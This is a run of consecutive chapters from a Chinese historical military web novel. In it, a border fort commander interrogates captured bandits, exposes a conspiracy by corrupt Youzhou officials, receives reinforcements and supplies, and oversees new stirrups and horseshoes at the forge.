当抵达堡外时,秦大壮、张富贵等人也已将堡墙外的战场打扫完毕。
见到秦猛率队凯旋,不仅安全运回了大批铁矿石,竟还将逃窜的贼首及其党羽一举擒获。
消息传开,军堡上下顿时爆发出震天的欢呼声。
不说秦大壮、张富贵这些老边军看秦猛的目光充满了敬佩。
就连袁飞、徐强等来自飞虎卫的精锐们也满脸诧异,对这位年轻知寨的认知再次被刷新。
精准判断敌我局势,预知敌人溃败路线,果断分兵设下多层伏击……
这单独一项或许不算极难,但将这一切在仓促间完美结合起来,并取得如此战果,绝非常人所能办到。
在他们有限的认知中,除了他们效忠的赵将军,虎贲军中几乎无人能有此等魄力与能耐。
经诸葛风带人初步统计,此战杀敌两百余百,抓捕俘虏近百人。
收拢战马一百五十多匹,拉车的驮马三十多匹,被火烧,被射杀的马匹多达四十,跑散不少。
皮甲、兵器堆积如山,另还有贼人携带来的粮食,帐篷、皮褥子等杂物装了十来辆大车。
更从这些贼人身上,马鞍袋里搜刮出铜钱,散碎银块和银锭,银票,合计竟有五千两之多。
反观堡寨一方,除了十来个戍卒被流矢擦伤,几个民壮追敌时心急崴了脚,竟无一人阵亡。
堪称一场酣畅淋漓的大胜。
其实细想之下,这结果并不算惊世骇俗。
堡寨一方以逸待劳,据坚墙而守,更有**这等前所未见的大杀器挫敌锐气。
冷艳山贼众虽悍勇,却疏于训练,夜袭失败后便士气尽丧,军心涣散,若能打赢那才真是不正常。
“所有缴获的银两,拿出五成,按功分赏此次所有参战,运送物资人员。
另外,把死掉的战马都抬到杀猪棚去,老规矩,收拾干净,按人头分肉,让大伙都沾沾荤腥!”
秦猛了解情况后,毫不犹豫地下达命令,更是引起了众人雷动的欢呼,士气高涨至极点。
欢庆之余,秦猛面色一肃,对身旁的张富贵低声道:“来人,给我连夜审讯那个严彪。
冷艳山虽为祸一方,但从不敢冒犯边军虎威。此次竟敢大举袭击朝廷边堡,其中必有蹊跷。
本将怀疑必定有人暗中指使或提供了某种承诺。无论用何种手段,给老子撬开他的嘴。”
“明白,交给我。”张富贵舔了舔嘴唇,露出一个惯有的狞笑,审讯逼供,正是他的拿手好戏。
这时,袁飞手上抓着一个空瓷瓶,来到秦猛身边,主动询问道:“秦知寨,您这种……这种武器究竟是何物?威力惊人,却前所未见。”
“此物名为‘**’。”秦猛并未隐瞒,实话实说。
“是我突发奇想,与堡内范大师一同捣鼓出来
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的小玩意,本意是用来对付越境劫掠的**铁骑。
没想到,这群山贼先来尝了鲜,正好实战检验一番。”
他心知这种武器一旦用于实战,根本瞒不了多久。
与其遮遮掩掩惹人猜忌,不如大大方方承认,反而能占据主动,搞不好,还能从中获利。
“确是威力巨大,尤其对付密集冲锋的骑兵,效果想必极好。”
张富贵等人在一旁附和,显然已见识过其威力。
袁飞与徐强对视一眼,皆看到对方眼中的凝重。
此物若是能量产,必能改变边境攻守态势。两人都觉得此事必须尽快上报赵将军做决断。
另一边,诸葛风熟练地统计着各项缴获,看到被驱赶回来的大群战马,既是高兴又面露忧色。
军堡马厩,草料有限,养着原有的近五百匹马已是极限,如今一下子又多出近两百匹牲口。
每日的草料消耗将是个巨大数字,马厩也拥挤不堪,长远来看,简直是甜蜜又沉重的负担。
他见到秦猛归来,立刻小跑着过来汇报:“大人,此次收拢的战马极多,堡内马厩已然不够。
加之粮草消耗剧增,对军寨恐是沉重的负担。又添许多好马,是否……设法处理掉一部分?”
“既然养着吃力,那就卖掉一批,换来的银钱正好补贴军用。”秦猛想也不想,就有了决定。
“常老哥不是就在堡里吗?这件事你就跟他谈。”
说曹操曹操就到!
常九不知从哪个犄角旮旯冒了出来,肥脸上堆满了热情的笑容:“大人,常氏粮行乐意为您效劳!秦知寨真是福星高照,又发利市啊!”
他看着那些体格健壮、神骏的草原马,心头火热:“这些可都是上好的草原骏马,瞧瞧这块头。
在青州、江南等地可是稀罕玩意,价值不菲。常某愿意以每匹一百贯的公道价格全部收购。”
他仿佛已看到将这些马匹贩运至中原和江南后,翻着倍赚取巨额利润的场景,即便不卖,用来装备自家的商队护卫也是极好的嘛!
“等等,秦知寨!”袁飞听了后,却是眉头紧皱,不顾徐强暗中拉扯,一步踏出,正色道。
“这些可都是能充作军用的战马,按大周律,边军有优先征购之权,不得随意买卖于民间。”
“哦?”秦猛转过头,好奇地问。
“袁队长此言何意?莫非我们边军中很缺战马?”
“何止是缺!”袁飞见他似乎真不知情,叹了口气。
他解释道:“秦知寨有所不知。自我大周立朝以来,马政渐废。加之如今朝廷……
唉,如今朝廷度支困难,拨给边军的粮饷马匹年年削减。边陲之地,除了羌人、乌桓等少数部落与我大周关系尚可,保持贸易往来,能换取一些马匹。
其他如女真、契丹、匈奴等大族,近年来陆续与我大周交恶,严禁战马、牛羊、皮货输入。”
第66章 严刑得铁证
徐强是飞虎卫极为擅长骑术的精锐,性格沉稳。在一旁见袁飞直言不讳地说开,点头附和。
“正是!草原上的部落人人至少双马,来去如风,机动性极强,打得过就打,打不过就撤。
我军即便取胜,也难予以重创、全歼,故而缴获甚少。不瞒秦知寨,整个虎贲军中极缺战马。
如飞虎卫八千人,却只拥有四千多匹战马。其他两卫马匹更少,许多精锐两人甚至三人一马。
包括我们飞虎卫,额定的战马也从未满编过。您若要卖,于公于私,都应优先卖与飞虎卫。只是……这价格恐怕要比市价低上一些。”
他说完,有些歉意地看了常九一眼。
“原来如此。”秦猛闻言,沉吟片刻,随即果断拍板:“边境防务乃头等大事,战马自当优先供给军中。
这马,不卖了!
就按规矩,请袁、徐队长清点数目,报于上官,我南河堡将这些战马悉数上缴虎贲军!”
他随即转向常九,抱拳道:“常老哥,抱歉了。战马事关重大,之前是秦某考虑不周,这笔买卖是做不成了。”
“无妨,无妨!”常九虽然有些惋惜,但也是明事理之人,笑着摆摆手:“老弟深明大义,以国事为重,老哥佩服!这点小事何足挂齿。”
秦猛安排道:“诸葛先生,立刻配合袁校尉他们清点战马。秦部将,安排第一批值守的戍卒回营休息。
其余人负责将战利品收拢入库,加强岗哨戒备,不得有误!”
“是!”众人轰然应诺。
诸事暂毕,秦猛走到常九身边,压低声音,挤眉弄眼道:“马卖不成了,不过嘛!小弟另有些好东西,老哥可愿随我去那边看看?”
“哦!”常九小眼睛一亮,顿时来了兴趣:“秦老弟又弄到什么好货色了?快带老哥去看看!”
说话间,两人颇有默契地向着铁匠作坊的方向走去。
袁飞和徐强好奇地张望,只见另有数十辆满载货物、盖着稻草的马车独轮车,正由戍卒护送着驶向堡寨深处那个终日传来叮当声响的区域。
因为道路颠簸,一辆车上掉下一块红褐色的石头。
袁飞下意识弯腰捡起,入手沉重,借着火把光芒细看,不由瞳孔微缩,那竟是成色极佳的赤铁矿。
他看了看那长长的车队,若有所思。
堡内胜利的喧嚣逐渐沉淀,张家猪圈迎来新住户——冷艳山的贼人被结结实实地捆绑,暂时塞满了原本空置的囚室甚至清理出的牲口棚。
一群刚经历大胜、精神亢奋难以入眠的悍卒,在张富贵的带领下,开始了他们的“工作”。
张富贵、李山、刘铁柱、王铁山、刘大牛等一众队将齐聚阴森的地牢。
他们各自拎出一个山贼头目或小队长,分头进行审讯,拷问声与惨叫声在这牢房里碰撞。
女真勇士们缩着脖子,他们怕极了!
张富贵则亲自带人,如拖死狗般将严彪横拖倒拽,拉至重囚牢,将其重重摔在其弟严虎跟前。
**作为亲卫副队长,按刀而立,全程协助,确保万无一失。
“哥!哥……呜呜呜……”严虎看到自家大哥也被擒获,心底最后一丝侥幸彻底破灭。
眼见威震冷艳山的大当家如今也成为阶下囚,他明白末日将至,不禁泪如雨下,恐惧与绝望交织。
“兄弟,你…你果然没死……”严彪见到严虎虽狼狈却完好,心情复杂难言,既恼其无能累及全军,又有一丝血脉相连的庆幸。
他想破口大骂,最终嘴唇蠕动了几下,却什么也没骂出来。
“说!”张富贵提着尖刀杀来。
“把你们知道的全吐出来!
到底是谁在背后指使你们?与哪些狗官勾结?
最好老实交代,免得富贵爷爷发怒,扒了你们的皮点天灯!”
张富贵满脸横肉在跳动的火把光下更显凶恶,声如破锣。
**带着几名悍卒,手里把玩着浸过辣椒水的皮绳、带有倒刺的铁签子等物事,目光恶狠狠又不怀好意地在严氏兄弟身上来回打量。
“哼!”严彪强自镇定,撇过头去,试图维持最后一丝硬气,如同他兄弟当初被擒时那般。
“哼,硬汉?”**见状冷笑,吐出几句从秦猛那儿听来、不甚明了却觉得极有道理的话。
“大人说了,世上没那么多蓝波,没有撬不开的硬骨头。
凡遇硬骨头不肯说,那定是酷刑还没尝够滋味!”
“哥…说了吧!”严虎见到皮绳,下意识地夹紧双腿,脸上浮现出极度恐惧与**的神情。
他颤声劝说兄长:“他们…他们的手段阴毒,搞前后,根本不是人能受的,太…太无耻下作。”
“放屁!”张富贵勃然大怒,恶狠狠地盯着死到临头的贼首:“大人说了,对付你们这些丧尽天良、通敌**的杂碎,用不着讲规矩道义。
掳掠自己的同胞卖到草原为奴为婢,无可饶恕。你们也配称之为人?不过是披着人皮的畜牲。”
他手一挥,立刻有几名如狼似虎的军汉涌上前,将严彪按倒,脑袋被紧紧压贴在冰冷的地面上。
扒其衣,脱其裤……
军汉们动作粗暴,搜检全身,拿着钳子开裆。在这惨叫,拉拽之间,严彪的里衣被撕开。
“吧哒!”一个缝在夹层里的扁平油布小袋掉了出来,顿时吸引了张富贵和**锐利的视线。
……
官署后堂,灯火摇曳。
秦猛与常九对坐小酌,几样简单小菜摆在炕桌上,常九肥胖的身躯几乎占了大半个炕位。
两人从铁匠作坊回来后,便在此密议。
“常老哥,此事要么不做,要做便需雷霆万钧,一击必中。
明日我便要动手,你那边最好出些得力人手,里应外合。”
秦猛与常九碰杯,目光却锐利地眺望着青阳县城的方向。
“没问题。”常九忙不迭地点头应承。
我连夜派人去通知各处掌柜和护卫头领,届时在青
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阳县和南河镇等地都有足够的伙计能帮衬策应。”
随即,他又皱起眉头,胖脸上露出一丝担忧:“老弟呀,兹事体大,若没有十足的证据,这般大张旗鼓的强夺,后续怕是麻烦无穷啊……”
“放心,证据我早已准备齐全,明日谁敢阻挡,便是心中有鬼,与**勾结的罪名,我看谁敢硬扛?”
秦猛喝了口酒,露出一个冰冷而凶狠的笑容。
“更何况,今夜审讯那帮贼寇,想必能拿到更扎实的铁证!”
“大人,大人……有口供了!重大发现!”
话音未落,屋外便传来张富贵和**压抑着兴奋与急促的嚷嚷,脚步声与铁甲铿锵声由远及近。
“进来吧,常老哥不是外人。”秦猛朝外喊道。
很快,张富贵、**涌入屋内。
**将几封密信和一份墨迹未干的审讯记录呈给秦猛。
“混帐,该死!”秦猛接过来,就着灯光细看,脸色瞬间变得铁青,胸膛剧烈起伏,显然怒极。
密信上的字迹和官府暗印,赫然指向幽州府内的文官武将!
内容更是触目惊心:指使冷艳山劫杀政敌、假扮马匪劫掠边民村庄、甚至暗中组织向草原输送粮食、铁器、盐巴等违禁物资以牟取暴利!
结合严彪等人的详细口供,一条由幽州**官员操控、山贼执行、通往草原的黑色利益链条清晰无比地呈现出来。
罪行累累,罄竹难书!
“怪不得…怪不得草原**近年来胆子壮了,愈发猖獗,原来是有这些国之蛀虫在暗中资敌!”
秦猛咬牙切齿,盯着审讯记录,拳头攥得咯咯作响。
“老弟,你这是……?”常九在旁观察着秦猛的神色变化,心中好奇与不安交织,忍不住开口询问。
“老哥你自己看吧。”秦猛略作思索,将密信和记录递了过去。
常九接过,只扫了几眼,胖脸上血色瞬间褪尽,冷汗涔涔而下。
“古语云,知道的越多,越容易被灭口。老弟,你…你这可是把哥哥往火坑里推啊!”
常九嘴上说着抱怨的话,眼睛却死死盯着那些证据,飞速阅读,似乎要把内容给记住似的。
秦猛自顾自地斟满一杯酒,一饮而尽,意味深长地笑道:“常老哥,如今咱们可是知道大秘密了,绑在一块儿,算是一条绳上的蚂蚱。
我跑不了,你也跑不脱。
正好,我希望老哥能与我并肩作战。”
“你经商逐利,若无势力庇护,在这乱世寸步难行,财富不过是他人觊觎的肥肉。
兄弟我在边疆掌兵,训练悍卒,正可提供武力保障。你我携手并进,才是真正的共赢之道!”
……
是夜,一匹快马悄然冲出堡门,背负着袁飞亲手所书的紧急军情,直奔飞虎卫大营而去。
马匹飞奔的方向,亦是大周朝廷那看似稳固,实则因朝纲**而渐显倾颓的江山社稷。
北疆的风,似乎正悄然改变着方向。
第67章 幽州密谋
幽州府城,官邸深处。
夜色如墨,寒风卷着零星枯叶拍打着高墙朱门。
一间装饰阔气的书房内。
烛火摇曳不定,将两道对坐的身影投在墙壁上,拉得忽长忽短,恍若暗处窥伺的鬼魅。
刘德福搓了搓微凉的手指,目光投向对面那位身着常服却难掩戎马气质的年轻人。
——他的女婿,幽州豪强杨家次子,官拜幽州兵马统制官的杨浩。
书房里熏香淡薄,却压不住一股隐隐的焦躁。
刘德福几天前定下的计策,封禁运河,唆使山贼袭杀。
一明一暗,自以为天衣无缝。
昨夜,刘德却没来由地心惊肉跳,坐立难安。
这才借着女儿女婿归宁的由头,将杨浩延入这密室一叙。
“贤婿啊…”刘德福嗓音干涩,打破了令人窒息的沉寂。
他往前倾了倾肥胖的身躯,烛光在他油亮的额头上映出一小片光晕。
“前些时日,我那苦命的弟弟德才…遭奸人所害,死状凄惨,喉咙被捏碎,活活用被子闷死……”
他细细叙述,从刘德才之死,再到他后续的报复手段。
动用职权,一纸公文封禁了通往南河边堡的运河漕运。
并暗中派遣心腹家仆刘三密上冷艳山,以重利说动悍匪黑山熊严彪,令其率众袭边,欲将那座戍堡连同其知寨官秦猛一并从世上抹除。
他话音未落,对面的杨浩骤然变色。
“什么?泰山大人,您竟真遣人去唆使山贼袭击边堡?”
杨浩猛地从檀木椅上弹起,声音因极度的惊愕而绷紧,在寂静的书房里,显得格外刺耳。
他年仅二十**,面庞棱角分明,此刻却因震惊和恼怒而显得有些扭曲。
刘德福被女婿激烈的反应弄得一怔,下意识地点头。
“自然,此事宜早不宜迟,我已让刘三携金帛上山,算时日,严彪那群亡命之徒怕是已得手了……”
“哎哟!我的泰山大人!您…您真是老糊涂了!”
杨浩听完,竟似浑身力气被抽空,颓然跌坐回椅中。
他用手重重一拍额头,眼神里满是恨铁不成钢的懊恼与无奈。
若非眼前之人是自己岳父,他几乎要拂袖而去。
“贤婿,此话…此话从何说起?”刘德福心底那丝不安骤然放大,声音也带上了几分惊疑。
杨浩深吸一口气,强压住翻涌的情绪,目光如刀般刮过刘德福惶惑的脸。
“泰山,您动用职权,假借河道淤塞之名封禁运河,尚属官面文章,虽霸道,却未必不能转圜。”
可您千不该万不该,竟**幽州商贾,公然放话,不许一粒粮、一寸铁运往南河戍堡!
近来此事在幽州城传得沸沸扬扬,无人不晓您是在公报私仇!
您此举,无异于公然撕破脸皮,与整个边军体系对抗!”
他稍顿一下,见刘德福面露茫然,只得继续剖析,字字如冰。
“如今界河即将冰封,运河本就行不得船,您这封禁有何实际用处?”
徒然授人以柄!
北边草原**虎视眈眈,每逢寒冬便成群南下劫掠,前沿边堡压力巨大。
一旦南河口堡因‘补给不畅’而失守沦陷,边军帅司立刻就能借此发难,将罪责全数推给幽州地方供应不力!
您这非但不是报复,反而是递给他们一把捅向咱们的刀!”
刘德福张了张嘴,脸色开始发白,他只想着如何掐断秦猛的补给,却从未将此事与整个北境大局联系起来。
杨浩越说越气,语速加快。
“至于联络冷艳山贼寇,更是臭不可闻的昏招!”
“幽州府驻有虎贲军数万,何等势力?”
边堡乃军国重地,纵是再简陋,也代表朝廷颜面!
您让一群山贼去袭边,他们装得再像**,又能瞒得过几时?
边军岂是易与之辈?必定严查到底!
一旦事败,顺藤摸瓜追查下来……”
“无妨!”刘德福强自镇定地摆手,试图抓住最后一根稻草。
“贤婿有所不知,那南河口堡甚是破败,墙矮壕浅。”
严彪麾下有两百余悍匪,骤起发难,一夜之间便可踏平那堡子,宰了那姓秦的,届时死无对证……”
“破败?”杨浩像是听到了天大的笑话,猛地打断他。
“岳丈,您的消息究竟滞后了多少?我刚从帅司得知确切消息,您说的那个南河口戍堡,已升格为边寨!
其知寨官正是您恨之入骨的秦猛!
如今它直受军卫大营节制,岂是往日那般可有可无?”
“什…什么?”刘德福如遭雷击,胖硕的身躯猛地从椅上弹起,撞得身后书架微微一晃,脸上血色尽褪。
“升…升格为边寨了?这…这何时的事?”
“就在近期!”杨浩语气沉痛。
“岳丈,您莫非忘了,所有边堡皆设烽火台?遇敌袭必燃狼烟求援!”
周边军寨、城寨、军卫大营见讯,皆会发兵驰援。
严彪那两三百乌合之众,去攻打一座有援军体系的正式堡寨,这不是自投罗网,是什么?
他们挡得住正规矩边军的一轮冲杀吗?”
“啊——”刘德福彻底瘫软下去,重重跌回椅中,目光发直,嘴唇哆嗦着,却一个字也说不出来。
直到此刻,他才恍然明白秦猛为何有恃无恐,才明白自己心中那强烈的不安源于何处。
冷艳山的贼人,此去恐怕是有死无生!
杨浩看着他失魂落魄的模样,眼中闪过一丝厌弃,但更多的是忧虑。
他压低了声音,语气变得极其凝重。
“岳父,那群蠢贼**倒是干净。”
“我最担心的是那匪首严彪…此人能在冷艳山立足多年,与各方势力怕是都有不清不楚的牵扯。
他知道的东西太多了!
万一,我是说万一,他此次行动失手,被边军生擒活捉…为了苟活性命,他会在审讯之下吐出多少东西?
到时牵扯出您,甚
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至…甚至牵扯出我们杨家,那后果…”
刘德福闻言,胖胖的身体不受控制地剧烈颤抖起来,额头上瞬间布满冷汗,声音嘶哑干涩。
“那…那那…该如何是好?贤婿,救我!”
杨浩眼中寒光一闪,掠过一丝决绝。
“事到如今,唯有断尾求生。立刻舍弃冷艳山这颗棋子。
我会尽快秘密调动绝对可靠的人马,趁冷艳山主力尽出、山寨空虚之际,突袭剿灭其老巢!
务必鸡犬不留,做成是官军剿匪。
如此一来,既能立功,又能死无对证。
日后无论边军拿出什么证据,我们只需一概否认,咬定是贼人诬陷即可!”
“好!好!就这样办!”刘德福如同抓住了救命稻草,连连点头。
“只要幽州上下口径一致,他们没有实证,也奈何我们不得!”
“还有,”杨浩身体前倾,声音压得更低,几乎细不可闻。
“那个奉命去联络严彪的心腹刘三…他现在何处?”
“就在府中。”
“很好,此人留不得。”
“刘三?他…他是我本家子弟,自小在我府中长大,极为可靠……”刘德福下意识地为心腹辩护。
“岳父!”杨浩语气陡然凌厉,不容置疑。
“此事关乎身家性命,绝不可有半分妇人之仁!”
刘三不仅知情,更与严彪等人照过面。
只要有一个漏网的山贼认出他,或是他将来稍有动摇,所有线索都会直接指向您!
他,必须消失。”
刘德福脸上肌肉抽搐,显出极度挣扎痛苦之色。
刘三跟随他多年,忠心耿耿…
就在这时,窗外突然传来“咔嚓”一声轻响。
“谁?”
杨浩反应极快,厉声低喝的同时,身形已如猎豹般矫健地窜至窗边。
“哐当”一声猛地推开窗户,凌厉的目光急速扫向窗外沉沉的夜色。
寒风瞬间灌入,吹得烛火剧烈摇曳,几乎熄灭。
窗外庭院寂静,唯有枯树在风中呜咽。
借着朦胧的月色,只见一截被风吹断的枯枝落在窗台下,方才那声响动似乎正是源于此。
杨浩仔细探查片刻,确认并无异状,这才缓缓关紧窗户,插上插销。
他转回身,脸上最后一丝缓和的神色也消失殆尽,只剩下冰冷的决绝。
“岳父大人,形势迫人,此刻绝非心软之时。”
刘德福被刚才的动静吓得心惊胆战。
此刻,他再无犹豫,痛苦地闭上双眼,艰难地点了点头。
“好,…就…就依贤婿之意吧!”
烛光摇曳,将书房内两人密谋的身影再次投在墙上,扭曲而阴森。
他们丝毫不知,就在书房窗外的拐角暗处,一个提着茶壶的身影始终屏息蹲伏,将这场足以掀起巨大波澜的密谋,从头至尾,听得一清二楚。
那身影起身,似外冷笑,微微一动,如同融化的阴影,无声无息地退入了更深的黑暗之中。
第68章 魏文的大礼
梆子声在四更天准时响起,如同冰冷的刀子划破寂静。
军营伙房里早已灯火通明,一队抽中下签的戍卒充当火头军,正忙着和面蒸馒头,淘米熬粥。
这是秦猛练兵制定的新规:
他将新老兵丁交叉编为二十多支十人队伍,每月旬末考核,前三名的队伍获得额外奖励。
排名倒数的三支队伍承担杂役却不得减免训练。
多次不合格者直接降为辅兵,不仅军饷削减。
再想升为正规边军,更是难上加难,需经过严格考核,且按规矩杀敌立功,方能再次入选。
这小小举措却让戍卒们不敢懈怠。
堡寨中的操练声日渐凌厉,每个士兵都在为保住正兵资格,为了前三名奖励而拼命训练。
天蒙蒙亮时,馒头与米粥的香气已弥漫开来。
张富贵与王铁山领着百名铁甲军汉涌入伙房。众人捧着热粥,就着咸菜啃着馒头,快速进食。
餐毕,每人又揣上几个用油纸包好的馒头作为干粮。
随后在张、王两位队将的率领下,检查装备、携三日物资,翻身上马,如一道铁流奔出堡寨,马蹄踏碎晨霜,向着冷艳山方向疾驰而去。
秦猛从小到大,挨了打必须还手。
昨夜之所以早早歇兵,正是要趁冷艳山空虚反袭击。张富贵和王铁山昨晚得令,今早出发。
秦猛站在望楼上,目送队伍远去,眼中寒光闪烁:“刘德福啊刘德福,现在轮到我出招了!”
冷艳山贼人来攻打边堡,这事问题极为严重。经过审讯,十多份口供,已确认背后有人指使。
尽管没有证据表明是刘德福所为。
秦猛却不管这么多,别人耍手段,他同样不会讲规矩。
他认定是,那就是!
……
天刚亮,堡子后门就打开了。
人喊马嘶,几十辆大车、独轮车,一辆接一辆往外走。
车上堆满了粮食、皮甲、刀枪,甚至还有一整车冻成冰坨的马肉。
王善带着人,奉命赶往白松岭矿洞。
除了送东西,还得把军寨定的规矩带过去,把那儿的人登记造册。
另外组建一支五十人的自卫队,保证铁矿能按时送到堡里,顺便把矿洞周围的防御给修起来。
“呜、呜、呜……”
临近正午,堡后门突然响起了号角。
——那是瞭望手看见有大队人马靠近的信号。
秦猛在军营练兵,二话不说,带着亲兵赶往堡门。
南边尘土飞扬,远远来了一大队人。
打头的是几十个骑兵,穿着铁甲,拎着制式长刀,背着弓,眼神犀利,一看就不是好惹的。
后面跟着长长的车队,两侧是披甲执锐的兵丁,还有更多扶老携幼的平民,加起来得有六七百人。
带头的是个身材高大、披铁甲的战将。方脸盘,眉宇间带着风霜,还有点藏不住的得意。
来的不是别人,正是南河城寨副将——李雄。
“虚惊一场。”秦猛视力好,看到熟人,松了口气。
“嘿,秦老弟!”李雄也瞧见秦猛,快马加鞭赶过来,到跟前猛地一勒马,利落地跳下来。
秦猛下马,快步迎上去:“哎哟,李老哥,怎么还劳你亲自跑来?我这破地方都蓬荜生辉了!”
这回李雄来堡,亲热了许多,一把抓住秦猛的手,使劲晃了晃,上下打量着他,感慨道:“老弟啊老弟,这才多久没见?你又高升了。
飞虎大营副将,军寨知寨官,下辖管着三个边堡!你这年纪……啧啧,真是前途无量啊!”
李副将话里带着赞叹,也有点藏不住的羡慕。
秦猛握紧他的手,诚恳地说:“老哥别这么说!都是赵将军提拔,还有魏知寨看得起我。
要不是当初南河城寨拉我一把,我早死在哪都不知道了!
老哥你镇守边关多年,是真正的支柱,说什么前途?这地方**、土匪不断,还怕没机会立功吗?”
他压低声音,显得更亲近:“以后我要是有什么动作。就比如扫清幽州匪患,肯定先跟你通气。
老哥你要是有兴趣,带人来帮一把,上报帅司,功劳就像捡石头一样简单,我绝不独吞。”
李雄本来还有点小失落,一听这话眼睛立马亮了,笑得合不拢嘴:“真的?老弟这话可当真?”
“那还有假?”秦猛一拍胸脯,“咱们谁跟谁,同属南河城寨,是一个战壕的弟兄,是过命的交情。
功劳当然一起挣。老哥你经验丰富,磐石营又兵强马壮,就差个机会罢了,必定能高升。”
“好,好,痛快,”李雄心情大好,使劲拍秦猛的肩膀,仿佛已经看到自己升官的样子。
“那老哥我可就等你信儿了!
到时候刀山火海,你一句话!”
说完他才想起正事,指着身后说:“知道老弟你这缺人缺东西,哥哥我可不能空手来贺你高升。这是魏知寨三令五申,让我送你的大礼。”
他先指向那两百来个精悍乡勇:“这些是魏知寨从边镇招来的好手,会打猎骑马,装备齐全。
本来是准备冬天分到各边堡防**的。魏知寨知道你这升寨缺人,特地调了二百来人,加上家眷一共六百多口,全是地地道道的军户。”
“魏知寨说了,这些乡勇的家眷由老弟来安置,他们的粮饷按戍卒标准发,口粮地方州府另外拨。这回自带了两个月的粮,还有这些车……”
李雄又指向那近百辆大车:“一千石粮食,八车棉花布匹,五车铁锭和生铁,还有些药材,
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上等好酒十车,猪羊五十头,耕牛二十头……
都是抄了许家、吴家和县城几个奸商的家得来。魏知寨让我带话:安心练兵守边,重修芦苇堡。所需的粮草军资,他尽力帮你筹措。”
这份礼真是雪中送炭!
粮食、铁料、兵源、人口!
秦猛看着成群乡勇百姓和堆成小山的粮车,心跳都快了几分。这实打实的好处,谁不喜欢?
边堡升格为军寨,最基础的就是有足够的人口。招募兵丁,开荒耕种,自给自足才叫军寨。
秦猛费尽心思,四处招人,才勉强凑够基础千人。一下子涌入六百人,小南河堡人口激增。
堡寨有了白松岭矿洞,但开采铁矿、冶炼还得时间,几车现成的铁锭,铁料送来,求之不得。
棉花布料,用来制作棉衣,棉被。
耕牛就更宝贵了,正好帮忙开荒耕地。
最关键的是,堡寨兵卒用时捉襟见肘。
张富贵带走了百人队奔袭,秦猛也即将带队办事,正愁堡内空虚,此刻却来了两百个乡勇。
他们披甲持锐,身体强壮,又操练不短时日。来得太是时候了,一下子解决军寨后顾之忧。
秦猛郑重地朝李雄和南河城寨的方向抱拳:“请老哥一定替我谢谢魏知寨!秦猛记下这份恩情。一定不负所托,练好兵、守好土!”
“老弟果然是实在人。”李雄先夸了一句,又有点犹豫地说,“另外魏知寨还说,南河堡寨这名字和南河城寨有点重,问你要不要改个名?”
“巧了。”秦猛眼睛一亮,顺势接话。
“我也觉得有点拗口,正想上报改成铁血堡寨。”
他本来就想改名,的确是两者容易混淆分不清。这下正好顺水推舟,省得以后为了名字扯皮。
随着李雄带来这几百号人和大批物资,徐徐涌入堡,小南河堡寨的人口一下子涨到近两千。
小堡里里外外顿时热闹得像赶集。
这几百人一进来,王老保长先笑得合不拢嘴,接着,他又愁眉苦脸,跟诸葛风忙着安置人口、登记造册、分房子,忙得脚不沾地……
秦猛拉过李雄,先为他引荐了秦大壮、李山等人。当介绍到袁飞与徐强时,得知二人身份的李副将更是连忙拱手,口中不停说着“幸会”。
堡寨里早已备好宴席,杀猪宰羊,气氛热闹。
席间,秦猛不断描绘蓝图,着重畅谈了出兵剿匪的计划,冬季对付**的行动,前景美好。
李副将被他的勇气折服,连连称赞。
双方约好,时机成熟,共同剿匪,联手杀**。
这场酒局一直持续到太阳偏西。
李副将红光满面,意犹未尽地告辞。
秦猛带领众人簇拥着李雄,将他一直送到堡门。
第69章 针线缝生死
秦猛送走了李副将一行人,拨马赶往铁匠工坊。
铛!铛!铛!
老远就听见叮叮当当的打铁声,他心里莫名舒坦。
拿下白松岭矿洞,总算不用为铁发愁。
工坊里热火朝天,近来锻造技术改革,产量大增。
老师傅、小学徒,没人闲着。一锤子下去,火星子噼里啪啦乱溅,比过年放花炮还热闹。
一批批三棱狼牙箭镞被打磨得锃亮,叮叮当掉进冷水桶里。
粗壮的枣核钉也被迅速打出来,准备加固各处的望楼。
铁蒺藜淬火冒着白气——这玩意儿四个尖,阴得很。
现在箭镞、枪头、铁蒺藜不再是单个打造,而是用泥模子一批批浇铸,处理,淬火后就能用。
这种模具浇灌法是秦猛提议,李铁匠摸索搞出。
马镫,马蹄铁两种新物件没有模具,靠人工锻打。
好几个师傅专门负责这个,越打越多。有人系皮绳,有人送去裁缝工坊加固,最后才送进军营。
这双马镫可是个宝。昨晚秦猛带人夜袭山贼,全靠它。
弟兄们夹住马肚子,就能腾出双手,在马上开弓放箭。虽说还不如草原人,但至少比以前强多了。
秦猛这回来,主要是看看马蹄铁弄得咋样了。
李铁匠没让他失望。
试了好多次、失败了好多次,总算成功打出了十几个月牙形的马蹄铁……
秦猛乐得眉飞色舞:“李叔,你们这可真是及时雨!有了这,咱们骑兵很快就能练起来。”
“按规矩,所有出力的人都有赏。待会儿诸葛先生就来登记,还会贴告示,让全堡都知道。”
这话一出,工坊里顿时笑声一片。
——大多数人都参与了马镫或马蹄铁的活儿。
“但丑话说在前头,”秦猛语气一转,扫视众人:“这是军事机密。拿了钱,都把嘴管严实了。谁要是说出去,别怪本将按军法办事!”
枣给完了,棒子也得挥一下。
“是!”大伙顿时收敛笑容,纷纷点头。
“猛哥儿,”李铁匠见气氛有点紧,赶紧打圆场。
“这赤铁矿真不赖!炼出来的铁又多又好,再加上你教的法子,打造兵器铠甲不在话下。”
“好!以后矿石有的是,大家放开用!”
秦猛哈哈大笑,没提及任何有关矿洞的事儿。
他吩咐亲兵把烈火马和枣红马牵来,让李铁匠给它们钉蹄铁,又跟这位老师傅商谈新兵器打造……
黄昏时分,王善,庞仁率队归来。
常九那边也传来消息,事情安排妥了。
秦猛集结堡寨兵卒,新来的乡勇,挑选随行兵将。
……
秦家小院内,天色渐亮。
“猛子哥。”陈月娘眼眶泛红,边为秦猛系紧铁甲束带,边低声哽咽:“连番大战,今日又要走……”
她的手指轻轻拂过铁甲叶片,心中阵阵发紧。家中这日子虽好转,她却总觉得空落落的。
秦猛成了知寨官,日渐忙碌,有时连晚饭都见不到人。
她怕自己这个乡下女子,再也追不上他的脚步。
——哪怕他几日前才郑重承诺过,非她不娶。陈月娘仍惴惻不安。
每当看到他身着戎装的挺拔背影,她都既骄傲又恐惧,偷偷抹泪,生怕某次分别就成了永别。
多想回到那时候穷却在一起的日子。
“堡中不是无事么?何必再去争抢?退一步或许……”
陈月娘强压情绪,取过锦袍为他披上,声音微微发颤。
“我又何尝不想安稳?”秦猛苦笑摇头。
他眼中却寒光乍现:“可树欲静而风不止啊!”
我们退,他们便更猖狂。
他们输得起,再次来过,我们一次都输不得,也退不得。”
